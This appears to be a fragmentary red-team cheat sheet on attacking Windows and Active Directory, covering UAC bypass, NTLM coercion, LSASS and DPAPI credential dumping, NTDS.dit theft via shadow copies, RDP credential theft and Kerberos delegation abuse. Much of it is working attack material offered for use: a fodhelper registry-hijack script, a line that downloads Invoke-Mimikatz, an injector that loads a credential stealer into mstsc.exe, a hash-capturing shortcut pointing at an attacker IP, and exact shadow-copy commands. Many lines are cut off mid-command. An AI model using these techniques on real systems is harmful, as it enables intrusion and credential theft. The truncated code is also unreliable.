$powerkatz64 = [System.IO.File]::ReadAllBytes("x64\powerkatz.dll")
$encPowerkatz32 = [System.Convert]::ToBase64String($powerkatz32)
$encPowerkatz64 = [System.Convert]::ToBase64String($powerkatz64)
$invokeMimikatz = (New-Object Net.WebClient).DownloadString("https://github.com/BC-SECURITY/Em
UAC Bypass
User Account Control
https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC
Enumeration
Check current token privileges and UAC settings with Seatbelt:
PS > .\Seatbelt.exe TokenPrivileges UAC
SystemPropertiesAdvanced.exe
srrstr.dll DLL hijacking.
https://egre55.github.io/system-properties-uac-bypass
HackTheBox - Arkham
srrstr.c
#include <windows.h>
return 0;
}
cmstp.exe
0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html
https://gist.github.com/snovvcrash/56d51e535c3afd89a1e9e68c284553a6
fodhelper
https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692
Create and set registry values (the payload is generated with charlotte.py ):
Trigger fodhelper.exe :
fod.ps1
function Fod {
$cmd = "C:\Windows\Tasks\foo.exe -enc <BASE64_CMD>"
copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyCon
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "Dele
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(def
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep -s 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyCon
}
fod-ng.ps1
function FodNG {
Param (
[String]$cmd = "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle
)
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction Silentl
https://hausec.com/2020/10/30/using-a-c-shellcode-runner-and-confuserex-to-bypass-uac-while-
evading-av/
https://github.com/chryzsh/Aggressor-Scripts/tree/master/uac-bypass
https://www.tiraniddo.dev/2022/03/bypassing-uac-in-most-complex-way.html
https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82
Tricks
Bypass UAC for file read/write:
Authentication Coercion
https://github.com/p0dalirius/windows-coerced-authentication-methods
https://github.com/p0dalirius/Coercer
It's a good idea to check if NTLMv1 downgrade is possible when triggering the callbacks.
NTLMv1 Downgrade
Pi t B (MS RPRN)
https://twitter.com/DebugPrivilege/status/1410158556540719104
twitter.com
SpoolSample
https://github.com/leechristensen/SpoolSample
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
Spoolsample.ps1
https://github.com/0x00ach/stuff/blob/master/MS-RPRN.exe
https://github.com/BeetleChunks/SpoolSploit
dementor.py
https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc
printerbug.py
https://https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
PetitPotam (MS-EFSR)
CVE-2021-36942
https://github.com/topotam/PetitPotam
https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-Petitpotam.ps1
https://gist.github.com/leechristensen/fda130890fb3c194115e7b856640c30e
https://github.com/ly4k/PetitPotam
PetitPotam any host (not only a DC with null sessions allowed for the IPC$ share) without initial creds via
proxying through an authenticated session on behalf a DC-relayed machine account:
NTLM Relay DC1 to EXCH1 to get SOCKS ➡️SOCKS proxy PetitPotam to EX1 as DC1$ ➡️
NTLM Relay to EXCH2 to dump hashes
Theory
https://www.tiraniddo.dev/2021/08/how-windows-firewall-rpc-filter-works.html
https://www.tiraniddo.dev/2021/08/how-to-secure-windows-rpc-server-and.html
https://itm4n.github.io/fuzzing-windows-rpc-rpcview/
https://itm4n.github.io/from-rpcview-to-petitpotam/
https://clearbluejar.github.io/posts/from-ntobjectmanager-to-petitpotam/
Mitigation
https://kb.cert.org/vuls/id/405600
https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/
https://github.com/zeronetworks/rpcfirewall
ShadowCoerce (MS-FSRVP)
https://pentestlaboratories.com/2022/01/11/shadowcoerce/
https://github.com/ShutdownRepo/ShadowCoerce
WebDAV (WebClient)
https://pentestlab.blog/2021/10/20/lateral-movement-webclient/
https://www.tiraniddo.dev/2015/03/starting-webclient-service.html
Check if callback via WebDAV (HTTP) is possible. It is when the WebClient service is running. If it's
possible, then NTLM Relay to LDAPS on behalf of the relayed machine account is your chance for RBCD
workstation takeover.
Enable WebClient
Put the .searchConnector-ms file on a writable share. When a domain user opens target folder in
explorer, the WebClient service should start automatically:
Documents.searchConnector-ms
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>https://whatever/</url>
</simpleLocation>
</searchConnectorDescription>
https://github.com/xct/hashgrab
lnk.ps1
$wsh = New-Object -ComObject WScript.Shell
$lnk = $wsh.CreateShortcut("\\SRV01\PublicShare\pwn.lnk")
$lnk.IconLocation = "\\10.10.13.37\pwn.ico"
$lnk.Save()
Azure
ADSync
https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1
https://blog.xpnsec.com/azuread-connect-for-redteam/
PS > Azure-ADConnect -server 127.0.0.1 -db ADSync
Credentials Dump
Tools
SessionGopher
https://github.com/Arvanaghi/SessionGopher
Gopher
https://github.com/EncodeGroup/Gopher
LaZagne
https://github.com/AlessandroZ/LaZagne
From Memory
lsass.exe
Local Security Authority Subsystem Service
https://s3cur3th1ssh1t.github.io/Reflective-Dump-Tools/
Enumeration
https://www.mdsec.co.uk/2022/08/fourteen-ways-to-read-the-pid-for-the-local-security-authority-
subsystem-service-lsass/
MiniDumpWriteDump
Custom Implementations
https://github.com/rookuu/BOFs/tree/main/MiniDumpWriteDump
https://github.com/w1u0u1/minidump
https://github.com/helpsystems/nanodump/blob/main/source/nanodump.c
MiniDump Callbacks
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-
passwords-without-mimikatz-minidumpwritedump-av-signature-bypass#minidumpwritedump-to-
memory-using-minidump-callbacks
https://github.com/m0rv4i/SafetyDump/blob/master/SafetyDump/Program.cs
C# Implementation
https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/MiniDump
SharpMiniDump.cs
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace SharpMiniDump
{
public class Program
{
[DllImport("Dbghelp.dll")]
static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int
[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI
https://rastamouse.me/duplicating-handles-in-csharp/
https://rastamouse.me/dumping-lsass-with-duplicated-handles/
pypykatz
https://skelsec.medium.com/duping-av-with-handles-537ef985eb03
SharpHandler
https://github.com/jfmaes/SharpHandler
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
SharpHandler.ps1
HandleKatz
https://github.com/codewhitesec/HandleKatz
https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/
https://github.com/deepinstinct/LsassSilentProcessExit
https://github.com/lengjibo/RedTeamTools/tree/master/windows/LsassSilentProcessExit
https://github.com/CompassSecurity/PowerLsassSilentProcessExit
https://gitlab.com/KevinJClark/csharptoolbox/-/blob/master/ShhProcessExit.cs
https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html
https://itm4n.github.io/lsass-runasppl/
https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/
https://github.com/itm4n/PPLdump
https://itm4n.github.io/the-end-of-ppldump/
https://github.com/RedCursorSecurityConsulting/PPLKiller
https://tastypepperoni.medium.com/running-exploit-as-protected-process-ligh-from-userland-
f4c7dfe63387
https://github.com/tastypepperoni/RunAsWinTcb
Load SSP
https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://www.programmersought.com/article/65604621980/
https://russianblogs.com/article/42611473286/
MirrorDump
https://github.com/CCob/MirrorDump
https://github.com/snovvcrash/MirrorDump
DuplicateDump
https://github.com/Hagrid29/DuplicateDump
nanodump
https://www.coresecurity.com/core-labs/articles/nanodump-red-team-approach-minidumps
https://github.com/helpsystems/nanodump
Do it automatically with wmiexec.py magic (using this Python HTTP server with PUT support):
nanodump_ssp.sh.cs
#!/usr/bin/env bash
kill -9 `netstat -tulpan | grep ${LPORT} | grep python | awk '{ print $7 }' | awk -F/ '{ print
python3 put.py --bind=0.0.0.0 ${LPORT} &
kill -9 `netstat -tulpan | grep ${LPORT} | grep python | awk '{ print $7 }' | awk -F/ '{ print
https://www.bussink.net/lsass-minidump-file-seen-as-malicious-by-mcafee-av/
https://github.com/k4nfr3/Dumpert
NTFS Transactions
TransactedSharpMiniDump
https://www.cybermongol.ca/operator-research/dump-lsass-with-sharpminidump-ntfs-transactions-uac-
bypass-exfil-dmp-file-to-dropbox
https://github.com/PorLaCola25/TransactedSharpMiniDump
CredBandit
https://www.cobaltstrike.com/blog/credbandit-a-review-of-a-tool-developed-built-by-the-cobalt-strike-
user-community/
https://github.com/anthemtotheego/CredBandit
https://github.com/xforcered/CredBandit
https://github.com/xenoscr/compressedCredBandit
Dumpy
https://github.com/Kudaes/Dumpy/blob/341a7e47ab0e12ae3635cd0077fff1a172fef769/dumpy/dumper/s
rc/lib.rs#L216-L429
Kernel Mode
https://zerosum0x0.blogspot.com/2020/08/sassykitdi-kernel-mode-tcp-sockets.html
CVE-2018-19320
https://www.matteomalvica.com/blog/2020/07/15/silencing-the-edr/
https://www.secureauth.com/labs-old/gigabyte-drivers-elevation-of-privilege-vulnerabilities/
https://github.com/uf0o/windows-ps-callbacks-experiments/tree/master/evil-driver
https://github.com/fengjixuchui/gdrv-loader
https://github.com/ASkyeye/CVE-2018-19320
Physical Memory
Physmem2profit
https://labs.withsecure.com/blog/rethinking-credential-theft/
https://github.com/FSecureLABS/physmem2profit
https://github.com/Velocidex/WinPmem/releases/tag/v4.0.rc1
Server:
PS > .\Physmem2profit.exe --ip 192.168.1.11 --port 1337 --verbose [--hidden]
Client:
https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
https://itm4n.github.io/credential-guard-bypass/
https://github.com/itm4n/Pentest-Windows/blob/main/CredGuardBypassOffsets/poc.cpp
https://gist.github.com/snovvcrash/43e976779efdd20df1596c6492198c99
Tools
comsvcs.dll
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-
from-lsass-process-without-mimikatz#comsvcs-dll
https://github.com/Hackndo/lsassy/blob/master/lsassy/dumpmethod/comsvcs.py
https://gist.github.com/JohnLaTwC/3e7dd4cd8520467df179e93fb44a434e
https://sp00ks-git.github.io/posts/LSASS-Encrypted-Dump/
One-liner:
ProcDump
https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
https://download.sysinternals.com/files/Procdump.zip
https://live.sysinternals.com/
Mimikatz
https://github.com/gentilkiwi/mimikatz/releases
https://tools.thehacker.recipes/mimikatz
In case of Windows 10 version 1803-1809 use Mimikatz v2.1.1, see Key import error
Parse MiniDump:
kiwi
pypykatz
https://github.com/skelsec/pypykatz/releases/latest
spraykatz
https://github.com/aas-n/spraykatz
Dumpert
https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-
av-edr/
https://github.com/outflanknl/Dumpert
Dump lsass.exe using direct syscalls and removing user-land API hooks:
1. Compile Outflank-Dumpert-DLL.dll.
2. Convert it to position independent shellcode with ConvertToShellcode.py: python3
ConvertToShellcode.py Outflank-Dumpert-DLL.dll .
3. Use a shellcode loader of your choice to dump LSASS.
lsassy
https://github.com/Hackndo/lsassy
https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/lsassy.py
https://en.hackndo.com/remote-lsass-dump-passwords/
$ lsassy 10.10.13.0/24 -d megacorp.local -u snovvcrash -p 'Passw0rd!'
$ cme smb 10.10.13.0/24 -u snovvcrash -p 'Passw0rd!' -M lsassy
MalSeclogon
https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html
https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html
https://github.com/antonioCoco/MalSeclogon
svchost.exe
https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/
Mimikatz
Credential Manager
Mimikatz
Cmd > .\mimikatz.exe "privilege::debug" "token::elevate" "log out.txt" "vault::cred /patch" "e
DPAPI
Data Protection API
https://habr.com/ru/post/434514/
Unhide files:
Mimikatz
https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/
https://github.com/GhostPack/SharpDPAPI#table-of-contents
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
SharpDPAPI.ps1
Retrieve the domain DPAPI backup key (never changes) from a DC and decrypt master key blobs for any
user in the domain with it (needs DA privileges):
SharpChrome
https://github.com/GhostPack/SharpDPAPI#sharpchrome-commands
SharpChromium
https://github.com/djhohnstein/SharpChromium
Linux
GNOME Keyrings
HTB{ RPG }
snovvcrash@gh-pages:~$ _
List keyrings:
import gnomekeyring as gk
def list_keyring_items(keyring_name):
print(f'*********{keyring_name}**********')
gk.unlock_sync(keyring_name, 'Passw0rd!')
item_keys = gk.list_item_ids_sync(keyring_name)
for key in item_keys:
item_info = gk.item_get_info_sync(keyring_name, key)
print(f'Number: {key}')
print(f'Name: {item_info.get_display_name()}')
print(f'Password: {item_info.get_secret()}')
list_keyring_items('mykeyring')
Tools
mimipenguin
https://github.com/huntergregal/mimipenguin
LSA
Local Security Authority
https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets
SharpSecDump
https://github.com/G0ldenGunSec/SharpSecDump
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
SharpSecDump.ps1
MSCash2/MSCache2 (DCC2)
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-
cracking-mscash-cached-domain-credentials
Domain cached credentials are stored within LSA secrets in HKLM:\SECURITY registry hive:
secretsdump.py
Export registry hives and extract cached creds locally with secretsdump.py :
mscache.py
https://github.com/QAX-A-Team/mscache/blob/master/mscache.py
Export registry hives and extract cached creds locally with mscache.py :
Crack
Create Shadow
Locate diskshadow.exe :
cd \Windows\Temp
powershell -c "Add-Content add_vol.txt 'set context persistent nowriters'"
add_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
begin backup
add volume c: alias DCROOT
create
expose %DCROOT% w:
end backup
cd \Windows\Temp
copy w:\Windows\NTDS\ntds.dit ntds.dit
cmd /c reg.exe save hklm\system system.hive
cmd /c reg.exe save hklm\sam sam.hive
cmd /c reg.exe save hklm\security security.hive
$ smbclient.py MEGACORP/administrator:'Passw0rd!'@192.168.1.11
use C$
cd windows/temp
get ntds.dit
get system.hive
get sam.hive
get security.hive
Clean Up
Remove the shadow volume:
cd \Windows\Temp
powershell -c "Add-Content delete_vol.txt 'set context persistent nowriters'"
powershell -c "Add-Content delete_vol.txt 'set metadata C:\Windows\Temp\meta.cab'"
powershell -c "Add-Content delete_vol.txt 'set verbose on'"
powershell -c "Add-Content delete_vol.txt 'unexpose w:'"
powershell -c "Add-Content delete_vol.txt 'delete shadows volume c:'"
powershell -c "Add-Content delete_vol.txt 'reset'"
cmd /c diskshadow.exe /s delete_vol.txt
delete_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
unexpose w:
delete shadows volume c:
reset
cd \Windows\Temp
rm ntds.dit
rm system.hive
rm sam.hive
rm security.hive
rm C:\Windows\Temp\meta.cab
rm add_vol.txt
rm delete_vol.txt
Parse
Parse with secretsdump.py:
Reversible Encryption
https://adsecurity.org/?p=2053
https://www.blackhillsinfosec.com/how-i-cracked-a-128-bit-password/
gpmc.msc > Default Domain Policy > Computer Configuration > Policies > Windows Settings > Security
Settings > Account Policies > Password Policy > Store passwords using reversible encryption >
Enabled ✔
Password Filter
https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
https://github.com/clymb3r/Misc-Windows-Hacking/tree/master/HookPasswordChange
https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/
https://github.com/3gstudent/PasswordFilter
Abuse PasswordChangeNotify to load a custom DLL capturing plaintext credentials when a password
change is performed (the passwords will appear in C:\l Fil ? t t files):
RDP
Remote Desktop Protocol
RdpThief
https://github.com/0x09AL/RdpThief
https://github.com/S3cur3Th1sSh1t/RDPThiefInject
https://github.com/snovvcrash/SharpRdpThief
https://github.com/passthehashbrowns/SharpRDPThief
https://github.com/proxytype/RDP-THIEF
Some custom code that waits for mstsc.exe to be run and loads the malicious library into it:
RdpThiefInjector.cs
using System;
using System.Threading;
using System.Diagnostics;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace RdpThiefInjector
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, ui
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = tr
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
The DLL can be converted to shellcode with ConvertToShellcode.py (sRDI approach) and then
be injected into the target process. That would help to avoid dropping the DLL to disk:
beacon> rdpthief_enable
beacon> rdpthief_dump
beacon> rdpthief_disable
https://clement.notin.org/blog/2019/07/03/credential-theft-without-admin-or-touching-lsass-with-kekeo-
by-abusing-credssp-tspkg-rdp-sso/
RPC
SAM
Security Account Manager
reg.exe
vssadmin
DCSync
DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-
hashes-from-domain-controller-with-dcsync
Tools
Mimikatz
Invoke-Mimikatz
https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/credentials/Invoke-
Mimikatz.ps1
Invoke-DCSync.ps1
https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/credentials/Invoke-
DCSync.ps1
secretsdump.py
Targeted DCSync
When performing targeted DCSync (e.g., for persistence purposes) choose the most valuable accounts. One
can use the following LDAP query to search for effective domain admins ( adminCount=1 ) as well as DC
computer accounts ( SERVER_TRUST_ACCOUNT bit or userAccountControl=8192 is set):
(&
(|
(&(objectCategory=person)(objectClass=user))
(&(objectCategory=computer)(objectClass=computer))
)
(!(userAccountControl:1.2.840.113556.1.4.803:=2))
(|
(adminCount=1)
(userAccountControl:1.2.840.113556.1.4.803:=8192)
)
)
Delegation Abuse
https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-
directory/
https://www.thehacker.recipes/ad-ds/movement/kerberos/delegations#theory
https://youtu.be/byykEId3FUs?t=2619
https://luemmelsec.github.io/S4fuckMe2selfAndUAndU2proxy-A-low-dive-into-Kerberos-delegations/
https://github.com/ShutdownRepo/The-Hacker-Recipes/raw/master/.gitbook/assets/Insomniha…
Constrained
Resource-based Constrained
Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory
Shenanigans Labs
https://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-
constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution
https://sensepost.com/blog/2020/chaining-multiple-techniques-and-tools-for-domain-takeover-using-
rbcd/
https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/RBCD_Abuse_Checker.ps1
PowerView:
LDAP:
CrackMapExec:
Define credentials for the compromised account with the necessary DACL:
Add new machine account and configure RBCD (i.e., set msDS-
AllowedToActOnBehalfOfOtherIdentity property to value of the new machine account SID) on the
vulnerable host (DC01):
Ask TGS for CIFS and also inject other potentially useful service names into the ticket (sname field is not
protected in TGS-REQ):
If the ticket cannot be imported or there's no access to corresponding services, troubleshoot it:
Try using FQDN to NetBIOS under /msdsspn parameter (i.e., CIFS/DC01.megacorp.local >
CIFS/DC01 ).
After the ticket has been successfully imported we can go for filesystem access (CIFS), PSRemoting
(WSMAN), DCSync (LDAP) and so on:
PS > klist
# CIFS
PS > cd \\DC01.megacorp.local\c$
PS > ls
PS > c:
# WSMAN
PS > Enter-PSSession -ComputerName DC01.megacorp.local
PS > exit
# LDAP
PS > ...DCSync...
Cleanup:
PowerView 4.0
rbcd-attack
https://github.com/tothi/rbcd-attack
rbcd_permissions
https://github.com/NinjaStyle82/rbcd_permissions
Bronze Bit
CVE-2020-17049
https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-theory/
https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/
Calculate Kerberos keys for the fake machine account with Get-KerberosAESKey:
PS > Get-KerberosAESKey -Password 'Passw0rd!' -Salt MEGACORP.LOCALfakemachine1337
AES128 Key: 01C7B89A74F7AEC1007DED2F3DE0A815
AES256 Key: 211E8E3134ED797B0A2BF6C36D1A966B3BED2B24E4AAA9ECEED23D0ABF659E98
Or with Mimikatz:
https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
Request a U2U ticket providing TGT within the /ticket and /tgs options and specifying the user to
impersonate within the /targetuser option (this is an S4U2self request):
Obtain a hex view of the current TGT session key (RC4 HMAC):
Go for the S4U attack providing the initial TGT within the /ticket option and the forwardable TGS (got
from the U2U request) within the /tgs option (only the S4U2proxy part is performed):
Automatization
https://github.com/GhostPack/Rubeus/pull/137
https://exploit.ph/delegate-2-thyself.html
https://exploit.ph/revisiting-delegate-2-thyself.html
https://www.praetorian.com/blog/red-team-privilege-escalation-rbcd-based-privilege-escalation-part-2/
https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#dcsync
